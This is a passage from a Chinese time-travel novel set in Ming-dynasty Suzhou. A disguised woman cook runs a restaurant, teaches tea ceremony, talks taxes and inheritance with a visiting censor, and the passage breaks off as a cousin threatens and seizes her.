可是这一回宋瑾不大乐意了,焦糖布丁她有替代品,且自己不打算做这个
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生意,茶艺却不同了。
“宋管事,您不知道这里头的情形,这本事可不是一般人能学来的。这样好了,若是贵府有人能端着盛满开水的茶盅一盏茶的功夫,在下便来教学,可好?”
宋瑾打心眼里觉得柴恒嫌弃她的手,所以想要细嫩手指的姑娘来学。可是那细皮嫩肉的,哪里学得来这个?就算能学,她也不乐意教。
饭碗都给别人了,她吃什么?所以出了个难题给宋管事。
宋管事听出宋瑾不大乐意去教,只是不肯放弃:“无妨,慢慢练起来,总能做到的。掌柜的繁忙,不会劳烦您日日往这里跑。这样,我先付您五十两定金,您偶尔抽空教着,等练会了,再付您五十两可好。”
“行。”
没有谈不成的生意,只有谈不成的价钱,宋瑾也没有想到自己跪的那么快,都怪柴恒太大方。
两个五十两便是一百两,加上两次的赏银和昧下来的银子,她就差不多凑够全家脱籍的银子了。
她想明天就把那帮人教会。
“那个,上次来贵府,曾经借走一套茶具,用来练习茶艺。不想今日来的匆忙,忘记带回了,改日,改日在下给您送回来。”
宋管事听了摆摆手道:“一套茶具而已,文掌柜留着吧,最好再多练练,没准将来还得用呢。”
宋瑾就等这句话,她故意没带来的,德化白釉瓷,回去就给它当了。
“那谢谢柴大官人,谢谢宋管事。”
宋瑾面上不好意思,心里却乐开了花,谁知道宋管事没有搭理她,反而看向她的身后。
“季大人,您在等我家老爷?”
身后季舒白负着双手,缓步走了过来:“嗯,等他说几句话。”
“那您稍等,我家老爷马上就出来了。”
季舒白没再吭声,而是转头看向宋瑾。
宋瑾莫名心慌,把怀里那包银子搂紧了:“那,若是没有旁的事,小的先告退了。”
“那我叫人送送掌柜的。”
宋瑾轻声谢过了,抬眼看见季舒白还看着她,忙躬身道:“小人告辞了。”接着便转身往外走去。
“文掌柜就这么回去?”
一个冷冷的声音自身后传来,宋瑾回头看去,果然是季舒白那个万年没表情的青竹杆子。
“小的离得不远。”
季舒白缓缓走近,眼睛直勾勾盯着她怀里的银子,慌的宋瑾搂的更紧了。
惦记她的银子?不至于吧?
“这么晚了,文掌柜打算抱着这么一大包现银走在街上?”
宋瑾忽然明白过来,这十六世纪苏州府的治安未必比得过二十一世纪的偏远农村。
“这......小的走快些。”宋瑾抠抠搜搜没想到雇轿子。
“我今日来时带了几名承差,叫两人送你一趟,免得半途被劫,他们还要深夜缉盗。”
宋瑾撇撇嘴,终究是好事,只好谢过了,可是那宋管事又不乐意了。
“是小人考虑不周,即是来咱家做厨役,哪有叫季大人安排人相送的。府里尚有轿子,我这就去安排送送文掌柜。”
宋管事说完便去安排了,宋瑾抬眼看着季舒白那万年不变的脸,想笑笑来缓解一下氛围,却被那张面无表情的脸给冻住了。
39. 典当
季舒白不爱笑,话也少,心思倒是细腻,宋瑾不太敢跟他嬉皮笑脸。
可是四目对上了,总该说点什么是吧?
谢也谢过了,说点什么呢?
宋瑾急的要死,情急之下脱口而出:“季大人爱吃甜食?”
季舒白明显愣了愣,有些尴尬道:“是,平日...爱吃一些。”
宋瑾见他尴尬,反而觉得自在许多,这才像个人嘛。
“小的最近尝试了一款新的甜品,大人若是不介意,不妨过几日来食鼎楼尝尝。”说完又急急补充:“最好定下日子,因为有些费时辰,在下得提前准备。”
“那就中秋那日吧,中秋那日我去食鼎楼用饭,烦请掌柜的帮着准备一下。”
“好啊好啊。”
宋瑾刚应下就后悔了,这不是贼把官差请进家么?可是事已至此,只好硬着头皮往下走了。
“小人在食鼎楼恭候季大人。”
说完便转身出去了,再不走,又不知道要闯出什么祸事来。
宋管事命人抬了轿子送宋瑾回食鼎楼,时辰不算太晚,回去之后众人免不了一阵热闹。
宋瑾大大方方地赏了众人一些碎银,尽量保住自己大部分的银两,全都锁进了匣中藏好。
夜里众人照旧在院中摆上桌椅,一只白切鸡,一罐子烧酒,一碟子油炸花生米,还有一些小菜,众人坐着吃吃喝喝。
宋瑾惦记着今天听到一半的八卦,问起众人。
“你们可听说过前些年福建有位季姓的海道提督?”
“不知道,你问这个做什么?”阿荣丢了颗花生米到口中。
“就是好奇,想知道是怎么死的。”宋瑾隐去了那是季舒白父亲的情节。
“这有什么好奇的,别说一个海道提督了,就是当年抗倭的胡大人,那官当的多厉害,结果还不是狱中自裁。还有那应天巡抚海青天,多好的官啊,做了半年就给调走了。要我说,咱们这朝廷乱的很,有人做一辈子大官,临死了说你是坏蛋,下狱抄家砍脑袋,也不知道早干什么去了。那个海道提督,甭管他是好人是坏人,这人死了就是死了,想得再多咱们明天一早也是杀鸡的命。”
宋瑾听了颇为感慨,可不是么,这大人物死了,小人物的日子还得照常过呀。谁会关心一个海道提督的命运,别说在大明的苏州了,宋瑾在二十一世纪也不知道各个省市的省长市长姓甚名谁。
关心自己都来不及,哪有闲工夫关心别人,又不像海瑞,就在这苏州待过,还退了那些田,让诸多百姓实打实的得了好处,大家才记住了他的名字。
宋瑾放弃了搞清楚那位海道提督命运的想法,专心吃肉喝酒,出来的时间久了,她身上肉都比从前多了些,再也不是皮包骨了。
夜深人静时,宋瑾躺在铺上开始盘算。她不觉得文雅会那么轻易地放人。她要想全家脱籍,得多备些银子才行,到时候乖一点,或许能寻个出路也是有可能得的。
要是柴恒家再多来两次这样的宴席,她或许就有望了。可是柴恒也不是次次都找她,连着两个月都找她已经很难得了。
宋瑾决定多存些日子再回去找文雅脱籍,这样保险些,因此暂时先不回柏家。
第二日一早,宋瑾帮着杀鸡拔毛,做完了今天的白切鸡,此时已经临近午时。
她倒是不急,菜都备好,做法也都交给了婆子,于是告诉众人自己要出去一趟,很快回来。
也不是什么大事,就是抱着那几件德化窑的白釉瓷器去当铺询价。
高高的柜台,一整面的木栅栏,那眼神不太好的老朝奉立在后头,干枯的手指抓着细腻的白釉瓷器仔细瞧着。
“掌柜的,这可是德化窑的。”
那老朝奉听了这话,颇不耐烦地抬眼道:“我知道,可是这不值钱啊。”
“怎的就不值钱了?”宋瑾想着这东西在二十一世纪可是古董,值老鼻子钱了,怎么这里就不值钱了。
“你这茶碗,按理来说得是成套的,你这才几样?”
“怎么不成套了?茶碗茶盅不是都有么?”
“我说的不是茶碗茶盅,我说的是茶碗成套,至少得四到六件才成套,你这一只算什么?再说了,你这茶盅这么小,能值什么钱?”
宋瑾知道这是压价的手段,却也说不过人家,只好问:“那您说这几件能当多少银子。”
“一钱,不能再多了。”
宋瑾对于典当行业是有一些了解的,不可能照着原价典当,所以对于降低价格典当她是有心理准备的。可是万万没想到这迷糊眼老朝奉朝着她的脚底板砍价。
宋瑾气不过,将手穿过栅栏,气鼓鼓道:“我不当了。”
那老朝奉也不留她,将东西往她手中一塞:“成,等您想好了再回来。”
宋瑾不理人,撅着嘴将那几件瓷器抓到手中,气哼哼地回了食鼎楼。
店里小二正在忙乎,见着宋瑾回来也打招呼:“哎哟掌柜的回来啦,东西可当出去了?”
宋瑾道:“死老朝奉,他阴我。”
“嗐,这当铺都是这样,你越急着当,人家压价越厉害。要我说这东西这么好,掌柜的不急着要银子,自己用也挺好。”
宋瑾撅着嘴往里走,结果一下看见两笔杆子站在那里。
依着宋瑾的计划,这几天先练习一下新的甜品,好在中秋那日做给季舒白吃,结果季舒白一声不吭地就出现在了店里,身边还跟着卢骏年。
六目相对,季舒白的视线往下,落在了宋瑾怀里那包瓷器上。
别人不知道那瓷器哪里来的,季舒白却清楚的很,那日狭路相逢,宋瑾手里就是抱着这几件瓷器。
还有昨晚,宋瑾对着宋管事说要还,宋管事叫她留着自己练习,结果转头就拿去了当铺。
季舒白嘴角勾了勾,什么意思不言而喻。
宋瑾是解释也不好,不解释也不好,索性当做没看见,爱怎么想就怎么想,倒是那卢骏年,话又来了。
“嗳,掌柜的,这是你家的瓷器?挺不错的嘛,花了不少银子吧?倒是挺舍得。”
宋瑾讪讪笑着,不知道该怎么答话,只好问:“两位老爷大驾光临,小的失礼了,请楼上坐,小的把东西放好就来伺候。”
宋瑾一边给小二使眼色,一边憨笑着目送两人上楼,临了还看见季舒白的目光落下来,扫了一眼她怀里的瓷器。
卢骏年也不知怎么的,想吃昨晚吃过的苦瓜酿,宋瑾站在桌边听
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了这个话也头疼。
“卢大人,这苦瓜酿不难,只是这道菜现做不好吃,得隔夜,最低也要隔餐吃。要不,小的现下给您做了,您带回去,晚上再吃,可好?”
“这么麻烦?”卢骏年也是没想到罗大人口中的那个隔夜是真隔夜,“成吧,你先帮我做一份,我叫人端回去。”
说完又改口:“两份吧,罗大人那份也算上。”
宋瑾喜滋滋地应下了:“那午间您二位吃些什么?”
卢骏年捏着下巴想了想道:“舒白,那个玉米烙,你不是爱吃么?来一份。”
宋瑾看向季舒白,只见他淡淡道好。
也不知道怎么回事,宋瑾看见他的脸就跟看见冰块一样,瞬间也笑不动了,赶紧别过脸去看卢骏年:“除了玉米烙,小店还有白切鸡和白灼虾,大人可要来一碟子试试?”
“行,再来两个素的。”
宋瑾说了声好,又问:“大人还要来一壶酒?”
卢骏年道不必,下午还有的忙,饮酒不好,宋瑾便不再推销酒,确认无需旁的菜后便带着小二下了楼。
宋瑾背向二人时,总觉得背后一道目光射来,走至楼梯口时忍不住瞄了一眼,果然看见季舒白那双眼睛盯着她,慌得她心口漏跳一拍,差点没滚下去。
季舒白觉得这个人怪怪的,却始终想不明白怪在哪里。
“卢兄可觉得此人怪怪的?”
卢骏年喝了口茶道:“哪里怪了?这不挺好的嘛。”
“我觉得他好像很怕我。”
卢骏年听了一笑:“怕就对了。人家怎么喊我们的,官老爷官老爷,不让人畏惧的还是老爷么?多少读书人考取功名,不就为了有朝一日成为官老爷嘛,怕就对了。”
季舒白不大赞同:“我觉得不是,他就没那么怕你。你说,会不会是因为柏家那场火?”
“嗐,我就说你做事不当太认真了。”卢骏年放下茶碗,一本正经道:“这事你就不该当真。”
季舒白不解:“为何?当日那场火明显是人为,为何卢兄叫我不要计较?”
卢骏年道:“这场火是人为,可那又怎样?一则这场火只烧了柏家,人家当家主母都不计较,你我计较什么?再者,人家说了是女子所为,这柏笑南既无姐妹,也无女儿,若是奴婢不会维护至此,那能是谁?”
“这事放过了也就过了,若是真的计较起来,那便是人命官司,何苦非要闹出人命来呢。”
季舒白更加不懂了:“明明是纵火,怎的成了人命官司?”
卢骏年道:“你不计较便是一场无关紧要的火,你若计较便是人命官司。你想想,这柏家要是真把那女子交出来了,人家认了罪,你怎么办?罚不罚?你若不罚,抓她作甚?你若罚,人家一个女子承受的住么?这跟杖毙有什么区别?可不就是人命官司么?”
“就算人家承受住了这个罚,你想想一个女子在衙门里扒了外衣受了刑,那小妾才多大年纪?还让不让人改嫁了?她还活不活了?回去羞耻不过,一脖子吊死不还是人命官司么。”
季舒白泄了气。
“要我说,就算是天大的损失柏家自己承担了,咱们睁一只眼闭一只眼也就过去了,计较太多老的快。”
40. 谈话
卢骏年在楼上教季舒白如何睁一只眼闭一只眼的时候,宋瑾正在后院厨房里头认真挖苦瓜。
苦瓜酿肉其实很简单。
苦瓜去头去尾,切成寸长的段,中间瓜瓤用勺子挖干净。带着点肥的梅花肉剁成肉泥,用少许盐、胡椒粉、虾油以及葱姜末调味后塞进苦瓜中。
锅里添上少许油加热,苦瓜两头的肉煎至定型后再放倒,锅中加热水,小火慢慢煮着。
约莫两盏茶的功夫后,开锅加一点酱油调色调味,继续煮一小会,等水分不多时加团粉水勾芡。
汤汁也不必收干,就这么盛出来放着,要放的够久,久到苦瓜里面吸满了肉汁,到时候轻轻一咬,微苦的苦瓜里带着肉香。
因着苦瓜的特殊味道,非但不会觉得腻,反而会十分爽口,夏日里用冰块镇过的话口感会更好,只是宋瑾眼下没有冰块用,只能用井水镇。
两份苦瓜酿做好,宋瑾用平整的碟子摆好,确保苦瓜都能沾到汤汁,更加入味些,这才装进食盒里,提着盒子到楼上去。
“卢大人,您的苦瓜酿,两份都给您做好了。”
宋瑾一边将食盒摆在空闲的邻桌上,一边热情地对卢骏年说道。
“成,麻烦掌柜的,晚些时候我叫人给你把食盒送回来。”
“多谢卢大人,您看可还要添些什么菜?”
宋瑾见缝插针地问要不要添菜,卢骏年摆摆手道:“不必了,两个人也吃不了那么些。”
得了准信儿后,宋瑾也不多做打扰,微微弓着身子告辞下楼,临走看见季舒白盯着自己,嘴角微微勾了勾,与开始的又不大一样。等她想细看时,那嘴角又下去了,埋头吃饭,好似刚刚什么也没发生。
她怀疑自己看错了。
卢骏年倒是守信,临近酉时命人送了食盒回来。那承差带了话,说是御史罗大人想请宋瑾明日午时到府衙公廨帮着泡茶,一应茶具都有,叫宋瑾直接去即可。
宋瑾应下了,承诺第二日午时一定到衙门里。
从前宋瑾倒是听说过,这府衙官员是不许在任职之地购买私宅的,所以都是住在府衙公廨里头。不过又同时疑惑,像季舒白那种苏州本地人该怎么办?
那日罗大人说不常回家,那就是还有宅子呗,总不能为了个官,把老宅卖了吧?
宋瑾弄不清楚具体情形,也懒得去想,到了府衙报上缘由后,自有小吏引她进去。
那小吏将宋瑾引到御史住的那间屋子后,便叫她在客厅等着,御史大人马上到,宋瑾便乖乖站在厅中,细细打量那间屋子。
布置不算奢华,却也应有尽有。
一张黄花梨云头纹的翘头案中央摆着一面粉彩花鸟瓷板插屏,两头各摆着一盆松石盆景。翘头案前方摆着一张黄花梨如意纹八仙桌,两侧分别一张圈椅。
宋瑾一双眼睛落在那圈椅上,黄花梨的材料,从靠背到扶手的线条流畅,尤其那扶手,像是被人摸了无数遍,带着油润的光泽。透雕灵芝纹的靠背,就连四条腿上都带着花纹。
宋瑾看着那椅子,双目根本挪不开,忍不住悄悄走近想去摸一摸那老古董,结果手还没搭上,背后一个充满磁性的声音传来。
“文掌柜?”
宋瑾惊了一跳,忙收手转身,一下便看见了刚迈进厅中的御史罗大人。
“罗大人。”
宋瑾像是做贼被人抓了现行,脸红了,声音里也带着哆嗦。
那罗大人倒是无所谓的样子,笑道:“怎么?看中这椅子了?这是衙署的公物,本官可做不得主送你。”
罗大人开了个玩笑,宋瑾的心倒是定下了,也跟着笑了笑:“小的只是觉得好看。”
“眼光不错,倒是识货。”罗大人一边说着,一边从宋瑾身边经过:“来,到后头来泡茶。”
这位罗大人与宋瑾印象中倒是一致,没什么架子,声音也好听,不然她也没机会跟他一张桌上喝茶。
宋瑾跟着罗大人进了后院,那是一方小小的天井,里头并没有种什么花草,倒是一株不知名的大树张着枝丫,占据了小半边天空。
“这里不比柴家,地方简陋些,你我就在这天井喝茶说话,眼下不会有人来打扰。”
宋瑾刚高兴这罗大人没架子,立刻就被那句“说话”给怔住了。
说什么话?她一个小商人跟京城来的大官有什么好说的?说多了岂不是穿帮?
要死了。
宋瑾的心提到了嗓子眼,也只能强装镇定:“小人倒时常有空,就是大人太忙,难得有空喝茶。”
那罗大人在树下的石墩上坐下,已经有小厮过来摆上茶具了。
“说来也巧,我在广东任职时识得几个茶商,后来回了京师,常常买一些凤凰单枞,这次本官带了些来。今日咱们不喝武夷茶,就喝这凤凰单枞吧。”
宋瑾道了声好,这才在罗大人的指示下坐到对面。
泡茶的流程那日早已演示说,宋瑾今日也不说话,只一门心思的泡茶,倒是那罗大人开了口。
“那日闲聊,听闻你是这苏州商人柏家主母的亲戚,你姓文?”
宋瑾一听,果然是致命题。
“是,在下姓文,是柏家二老爷娘子的远房亲戚。”
“哦,那就没错了。”
宋瑾不知道哪里“没错了”,但是她很快就得到了答案。
“柏家二房的娘子,如今正因为立继一事,与大房那边打官司一事,你可知晓?”
宋瑾的手抓着杯子,听了这话差点滑脱,心也跟着怦怦直跳。
“此事小的也略有耳闻,只是这是柏家立继,我姓文,若是过问太多,只怕遭人诟病,因此不大清楚。”
“哦,是么?”那罗大人语调里带着疑惑,宋瑾不知道他这一问到底是为了什么,只好收拢心思,专心泡茶。
“柏家是苏州富户,这立继一事也不算小事,任何人忽然间要继承这样的家业,应当都会高兴,也难免起争端。”
宋瑾知道他有话说,因此也不问,只听他后面要说什么。
“按理来说,这是家事,本该族内解决,如今闹到公堂之上,让众人评
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说,你说这是为何?”
宋瑾倒茶的手一抖,不明所以地看着罗大人。
“本官的意思是,这桩立继的官司,输赢十分明显。这讼师为了银钱,怂恿着打官司能理解,可是这大奶奶为何非要闹这一场,毕竟闹翻之后,于她实在没什么好处。”
宋瑾心想,你以为不闹翻,她就有好处了么?进一步是难,退一步也是难,人总要为自己考虑的。
“姑母的心思小人也不大明白,但,既然说到立继,那必然是要为家业考虑。”
“哦,只是为了家业么?”
宋瑾看了眼那罗大人,不似季舒白那审视的目光,眼神倒还温和,她略放下心来。
打哑谜的沟通方式她不是没见过,只是她不明白罗大人问这些干什么。不过既然问起来了,宋瑾也躲不过去,索性就说开了。
“大人聪慧过人,其中道理自然明白的。”
“明白什么?”
宋瑾放下茶碗,改了往日一脸讨好的笑容,正色道:“这女子嫁了人,便是夫家的人,这夫主若是可靠,女子一生也算有了依靠。可若是夫主不可靠,那日子过的如何就难说了。”
“就拿姑母来说,这个年岁却膝下无儿无女。这男子要想着有后,这女子也要想着未来。如今夫主死了,姑母总要替自己想想。这柏家大房那头若是能与姑母和睦相处,如今立继一事也不会生出这许多事端。所以大人与其问姑母为何要打这不会赢的官司,还不如去想想为何姑母不愿意大房来继承。”
“所以,你是知道这其中缘由的?”那罗大人倒没生气,反而心平气和地问宋瑾。
“大人,这女子有女子的难处。依我大明律法,女子难以继承家业,可是仔细想想,这姑父流连花丛中时,这一房家业由谁打点?姑母不是没有能力打点好家业,她只是不幸生为女人而已。”
那罗大人笑了一声,双手撑在石桌上问道:“所以你是觉得,应当由你姑母亲自来继承?”
“大人,小的可没说过这个话,您这样说,是陷害小人。”
“哈哈哈——”那罗大人朗声大笑起来:“开个玩笑,无需当真。来来来,接着泡茶。”
宋瑾从深杯里倒了一杯茶,将茶盅递到罗大人面前。罗大人没发话,她也就不给自己倒了。
罗大人瞧出来她的心思,端起茶杯道:“你也喝,今年新出的单枞,香的很,不知道你喝不喝得惯。”
宋瑾听了,喜滋滋地谢过,给自己也倒了一杯,她喝的惯的很,只是没有料到在这大明时期,单枞已经开始出名了。
“听闻文掌柜的店是新开的,怎么想到要在此地开店?”
宋瑾与罗大人说了会子话,已经没有了一开始的拘谨,此刻见罗大人问起,也就大大方方说了。
“家中衰落,难以为继,所以前来投奔姑母,谋个出路。”
“哦,”那罗大人捻着胡须道:“听闻你家田地被人占去,可是因此难以为继?”
“啊呸——”
热茶烫口,罗大人的话烫脑子。
41. 闲聊
宋瑾扯谎家中田地没了,又扯上徐阶,本意是堵上季舒白那张嘴,谁知道转头进了罗大人的耳朵。
宋瑾心中暗骂两个多嘴多舌的人。
“呵呵,说到底还是家人懒怠,也怨不得旁人。”她可不敢骂徐阶,人还没死呢。
那罗大人见她打哈哈,也就不再追问,而是换了话题。
只见他站起身子,负着双手,在这小小天井之中踱着步子,宋瑾也放下杯子,视线紧紧跟着他。
“自打朝廷推行一条鞭法以来,这江南的税收增加不少,可同时富商家中奴婢也增加了不少。如你这般有人可以投奔的,可不多见。”
这突然的转变,宋瑾一时没有适应过来,倒是想起那日在食鼎楼,卢骏年和季舒白谈起收税一事。
“大人此次来苏州,是监督税赋么?”宋瑾一直没搞清楚这监察御史是来干什么的。
罗大人转过身来道:“本官乃监察御史,代天子巡视,不光是赋税,当问的,当看的,当了解的,本官都可以过问。”
宋瑾“哦”了一声,就是什么都问什么都管呗,还是没个重点。
那罗大人又道:“你在这苏州开店,感受如何?比起种田可是轻松一些?”
宋瑾笑得拘谨:“这做生意自然好过种田种地,不然怎么会有那么多读书人开始经商呢。”
“哦,那你说说这二者之间差距有多大。”那罗大人坐在宋瑾身边,面色倒是和缓。
“大人,您是监察御史,这府衙里头比小人了解的人多了去了,何必来问小人呢?”
罗大人道:“这督办官员本官自然要问,可是也想知道知道这苏州百姓的真实想法,我觉得你就很合适。”
宋瑾明白过来,压根不是为了泡茶找她来的,只好咬着牙开了口:“那大人既然要问,小的可就直说了,说错了您可不许生小人的气。”
“闲聊而已,不生气,掌柜的想到哪里就说到哪里。”
宋瑾的心安定了,清了清嗓子,正色道:“咱们大明有两京一十三省,要论起每年上缴的税银,恐怕没有几处能超过苏州府的。苏州地处江南,虽然田地不少,可是这些年来商业发展更甚。在下想问一句,这苏州的商税与田税各是多少?”
罗大人笑着捻了捻胡子,笑道:“本官问你,你倒问起本官来了,不过本官可以回答你这个问题。去年苏州府夏税包含凤阳仓、镇江仓、南京仓以及京仓,小麦以及各项税丝折银三万余两,秋粮六十余万两,商税......”
宋瑾定定地看着那罗大人,罗大人思虑后道:“商税约两千两。”
宋瑾得了数据,笑道:“大人,您看,这不是很明显么?在商业如此发达的苏州,商税金额如此之低,税赋紧靠田赋一项支撑,那么苦的是谁?”
罗大人皱了皱眉,并未说话。
“自我大明建国以来,江南风貌日新月异,富绅无数,开关之后更甚于从前。之前的读书人热衷功名,可如今却渐渐有了弃官从商的风气,可见经商是比种田更划算的买卖。而在税赋之上,他们几乎成了漏网之鱼,大人不觉得这情景不大对么?”
罗大人道:“没想到文掌柜虽为商人,却会说出商人税赋过低的话来,叫人佩服。”
宋瑾说开心了,一摆手道:“大人说笑了,就我那间小铺子,您要收我也没几个银子给。”
罗大人听了大笑起来:“你说的倒是在理,我朝经历了这些年,如今的税制与前朝相比,商税确实极低,只是刚刚才进行的改革,如今要变,不容易啊。”
宋瑾听到这里,心里突然难过起来。张居正若是不死,再熬上几年,会好么?
不会的,早几年晚几年的事情而已,改变不了大明的命运。自古以来,朝代更替,无法避免,况且大明的完结也不只是缺少军饷和土地兼并。
南有奴变,北有农民起义,内有李自成,外有努尔哈赤,再加上天灾,真是天要亡明。人心早就变了,根本挽救不了。
“今日听掌柜的一席话,也算是开了眼界,只是不大明白,你这样一个人,为何要窝在一间小小的食鼎楼里?”
罗大人生了好奇心,眼睛直勾勾地看着宋瑾,偏偏两人这会子又是邻坐,离的近了些,宋瑾抬眼就看见那双充满疑惑的目光,做贼心虚般垂下去。
“小的......爱做菜。”
话说完却没听见罗大人的声音,好奇间抬眼,就看见罗大人的目光盯着自己的下巴,宋瑾猛然明白过来,一把捂住自己的下巴,将身子侧过去。
“大人......”
罗大人眯起眼睛,宋瑾的脸红到耳根,一种被抓现行的感觉袭上心头。
就在着急不知道该怎么办的时候,罗大人起了身,什么话也没有说,直接坐到了对面。
“来,帮本官泡完今日这杯茶。”
宋瑾见他收敛了笑意,却也没说什么,只好继续战战兢兢地泡茶。
这杯茶喝了近半个时辰,直到外头小吏进来传话,季大人和卢大人已经过来了,罗大人这才笑着对宋瑾道:“今儿就喝到这里吧,改日有空,必到食鼎楼再尝尝掌柜的手艺。”
宋瑾笑笑,起身告辞,在小吏的带领下往外走去,结果刚进了厅里就看见穿着一身官服的季舒白和卢骏年,只好拱手作礼。
两人见他倒不算太惊讶,季舒白依旧闷葫芦,卢骏年还是那个脾气:“哟,巧了,文掌柜也在这里呢。”
宋瑾躬身道:“罗大人请小人来帮着泡茶。”
就在宋瑾以为卢骏年还要问什么的时候,另有小吏请两位大人进去,三人就此分开,没再多言。
那小吏将宋瑾送出门去,临走前那小吏塞给宋瑾五钱银子,算是茶资,宋瑾接下谢过了。
回去路上宋瑾心情大好,不论那罗大人看没看出来她是个女人,但只要不说就没事,只不过她高兴的不是这个。
在这个世界里,与一个有着一定社会地位的人平等谈话才是最让她高兴的,有那么一瞬间她觉得自己也被当成人去对待。这种感觉极好,好到让她一路蹦着回了食鼎楼。
快乐是一种很难掩饰的情绪,整个食鼎楼都看出她的高兴了。
“掌柜的,你今儿见着谁了?这么高兴?”春云倚在灶上问她。
“瞧这面相,笑的跟朵花儿似的,该不会是有哪位公子相中你了吧?”
“咱们掌柜的可是男儿相
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,这要相中了,就麻烦了,哈哈哈——”
一众人也不管宋瑾到底为什么高兴,只是聚在一起说说笑笑。
宋瑾并不介意这些玩笑,反而放话,今晚继续请大家吃鸡。
五钱银子,能吃好多鸡呢。
这天晚上宋瑾高兴,在后院里摆上桌子,亲自做了一桌子的菜,自然少不了那只白切鸡。
只不过让众人意外的是她没有喝酒,而是搬出那套宝贝瓷器,在一张春凳上泡起茶来。
对宋瑾而言,这就是挎着爱马仕逛菜市场,那白瓷就是爱马仕,这后院就是菜市场,她在十六世纪装小资,享受人类生活。
“来,今儿个咱们不喝酒,咱们喝那温山御荈,也尝尝好茶的味道。”
茶叶是否合适已经不重要了,重要的是这个形式,特别小资,特别有仪式感,特别的像个人享受的生活。
几个人一边啃着鸡肉,一边看她在凳子上操作,注水泡茶,出海展茗,一气呵成。
只可惜茶盅太少,不够几个人喝的,春云动作快,抱出几个酒碗来喝,旁边几人大笑:“你这一碗茶,就把那一杯倒完了,这几杯下来,你还吃不吃鸡了。”
宋瑾听了也笑,对着春云道:“晚上少喝点茶,留点位置吃鸡。”
有人端茶盅,有人端酒碗,边吃边喝边聊着。
“嗳,掌柜的,你今儿到府衙见着那罗大人了么?”
“见着了,我们还聊了天呢。”
“你们聊什么呀?可有说京师里什么事儿?”说起京师的官,各个都竖起耳朵,大约都如宋瑾那晚的心思,吃瓜乃是人类共同的爱好。
“也没说什么,不过奇怪的很,我见御史大人两回了,同知也见过好几回了,可是知府一回都没见着。”宋瑾说起这话来颇为遗憾,她想看看知府的威风,奈何一次都没见着。
“掌柜的,你在后厨,有些事你不知道,咱们那个知府啊如今不在苏州呢,上京了。”
“上京?”宋瑾不解:“这苏州知府不在苏州待着,跑去京师做什么?”
“还能为什么呀?八成要升官了。”
“升官?”一听知府升官,大家都来了劲头儿,各个都要问一句:“升哪里去?新知府是谁呀?”
阿荣道:“这我哪里知道呀,等人家来了自然就知道了。”
宋瑾问道:“那知府若是调走了,这底下的同知是不是有可能升到知府任上?”
她原想季舒白得首辅赏识,年纪轻轻做了五品官,没准儿这就要升了。
“这不可能,你不知道么?这知府都得是京官往下派,没有底下往上提的。要是咱们这些同知想做知府,首先得调去京师再往下头派,在底下是一辈子没指望了。”
宋瑾听了皱眉,原来还有这么个套路在里头呢。
“掌柜的,咱们上一回去柴家做厨役,收回来不少银子,还存在店里呢,要不咱们明儿回一趟马蹄巷,把这银子存了吧,不然夜里都睡不着觉。”
“怎么?怕人来偷啊?”宋瑾打趣他。
阿荣道:“可不是么?存回去心安些。”
“成,明儿一早咱俩一起去。”
“好。”
42. 高枝
因为昨夜说好了今日一道回马蹄巷,宋瑾洗漱完毕后也就不跟着杀鸡,只同阿荣包好银子,一起回了马蹄巷。
早上人少,两人也不乘轿子,就这么走回马蹄巷去。
因为时辰尚早,宋瑾和阿荣到马蹄巷时,文新依然在院中。
见着宋瑾进来,文新有一瞬间愣住了神。白白净净的道袍,容光焕发的神采,他开始相信传言,这个家生子跟柴大官人,跟府衙里头的人关系很好。
“哟,蔓草回来了。”文新坐在厅中上首,命人上茶。
宋瑾敏锐地察觉到他喊的是“蔓草”,笑而不语,只叫阿荣抱着银两跟这边账房去称过,入了库房好回去,吩咐好后才往厅里走去。
“数日不见,蔓草长本事了。”
宋瑾依旧是那副笑脸:“哪有文公子厉害,想必这段时日放债,赚了不少银子吧?”
文新端起茶杯,一边刮着沫子一边道:“这苏州城里,放债的多,借债的更多,可是能按期还债的却不多。”
说到此处,他放下茶盖,看向宋瑾道:“听闻你最近与衙门里头的人走的很近?”
宋瑾笑笑:“御史大人叫我给他泡茶。”
文新道:“哦,那好啊,多泡泡,慢慢的也就跟衙门里头的人泡熟了,门路也就开了。”
宋瑾笑问:“什么门路?”
文新皮笑肉不笑的:“衙门里头,想要什么门路没有呢?”
宋瑾懒得接话,她打心眼里不想跟衙门里头做生意,上辈子做够了。永远人下人,永远指着别人吃饭,这辈子她就想过小日子,不要大富大贵,就要稳稳当当,所以实在不想跟衙门里头的人牵连太密。
文新见她不说话,继续道:“你看,在姑母家,你只是一个奴婢,如今借了身份,倒活出个人样来。可是这终究是假象,对不对?”
宋瑾不答话,文新自顾自说道:“你如今这个样子,要你回去再做奴婢也是委屈了你。可是说到底你就是个奴婢,这出路看着再光鲜亮丽,也是给文子晋的,你蔓草出不去。”
宋瑾听到这里,心陡然下沉,脸上的假笑兜不住,沉着脸看向文新。
文新站起身来,踱着步子走到宋瑾身边道:“你看,你帮着姑母办了这样一件大事,如今你跟姑母是万万不能分开的,对不对?我知道你想找个靠山,可是你那卖身的红契还在姑母手中,翻了脸对谁都不好。”
宋瑾嘴唇发起抖来,文新靠的更近了:“要我说,我们二人何不联手呢?”
“你看,嫁给我你就真的成了文家人,也可以帮姑母保守秘密,我们一起帮姑母赚钱,大家都心安是不是?”
宋瑾明白过来了,文新是要拉拢自己,一起去赚文雅的钱。
说真心话,在这大明,一个家生子嫁给一个公子是顶好的出路,至少可以脱了籍,也不必伺候人。
可是宋瑾的心思不是从一个火坑跳进一个狼窝,她要彻底的跳出去,就不能通过这种方式。
“多谢公子抬举,我看就不必了。”
文新的话叫宋瑾听了不舒服,因此也没了好脾气,毫不客气地拒绝了。谁知文新非但没有放弃,反而凑得更近。
“你拒绝我?你可别忘了,你是顶着文子晋的名头在外行商,一个奴婢也敢拒绝我?难不成真像外头传的,你攀上高枝了?”
文新说话间越凑越近,温热的气息喷到宋瑾脸上,叫她胃里直犯恶心。
“我攀不攀上高枝,也跟文公子没什么关系,没什么事的话我就先走了,告辞。”
宋瑾说完转身便要走,谁知文新在身后一把抓住她的胳膊往后一扯,扯的宋瑾整个人往后一跌,直接跌进了文新的怀里。
“走?往哪里走?衙门里头么?你一个奴婢还指望着嫁到官府里做小妾?还是嫁进柴家,做那胖子的小妾?”
“你放开!”宋瑾连推带打的愣是没把文新推开半分,反惹的文新更加生气。
“我告诉你,你这辈子都别想着离开姑母,要么在柏家选个奴嫁了,要么如了我的意,别痴心妄想攀高枝。你这个人,天生贱命。”
宋瑾气急了,也不说话,只拼命挣扎,可是越挣扎文新就抓的越紧,最后竟然要拦腰抱住她。
“啊——”
